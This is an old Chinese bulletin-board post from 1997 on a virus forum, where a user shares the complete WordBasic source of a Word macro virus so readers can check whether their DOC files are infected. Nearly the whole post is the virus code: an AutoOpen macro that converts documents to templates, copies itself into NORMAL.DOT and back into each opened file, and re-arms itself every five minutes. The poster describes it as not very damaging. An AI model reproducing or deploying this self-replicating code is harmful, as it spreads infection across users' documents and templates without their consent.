Virus 版 (精华区)

发 信 人: crystal (熊), 信 区: virus
标  题: 你的DOC文件有这个病毒吗? 查一查
发 信 站: 紫 丁 香
日  期: Mon Apr 14 13:50:20 1997
出  处: robsn01.hit.edu

我见过很多DOC有AutoOpen宏,它能自动复制自己,
不具太多危害,只是总存盘,
原码:
Sub MAIN

' set document mode
Dim dlg As FileSaveAs
MyFile$ = FileName$()
If  InStr(1, MyFile$, "文档") = 1 Then
        x = Dialog(dlg)
        MyFile$ = dlg.Name
'       MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
'       dlg.Format = 0
        GetCurValues dlg
        MyFile$ = dlg.Name
'       MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If

' if it is Macro Document, then goto bye2
If IsMacro(0) = - 1 Then Goto Bye2

' if Document is new, then goto Bye1
If MyFile$ = "" Then Goto Bye1

' Save file as template
If dlg.Format = 0 Then
        FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
Else
        FileSave
End If

' search macro AutoOpen in Normal template
normal = CountMacros(0)
OkExist = 0
For i = 1 To normal
        If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1
Next i

' Get normal template name
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64

' copy AutoOpen to normal template
If OkExist <> 1 Then
        Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "AutoOpen", .Tab = 3
'       Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
        FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 0, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
End If

' search macro AutoOpen in active document 
active = CountMacros(1)
OkExist = 0
For i = 1 To active
        If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i

' copy AutoOpen to active template
If OkExist <> 1 Then
        Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "AutoOpen", .Tab = 3
'       Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
        FileSave
End If

Bye1:

' set document mode
dlg.Format = 0

Bye2:

' set timer to run AutoOpen again
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"

End Sub

--


※ Origin:·紫 丁 香 pclinux·[FROM: robsn01.hit.edu]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:5.676毫秒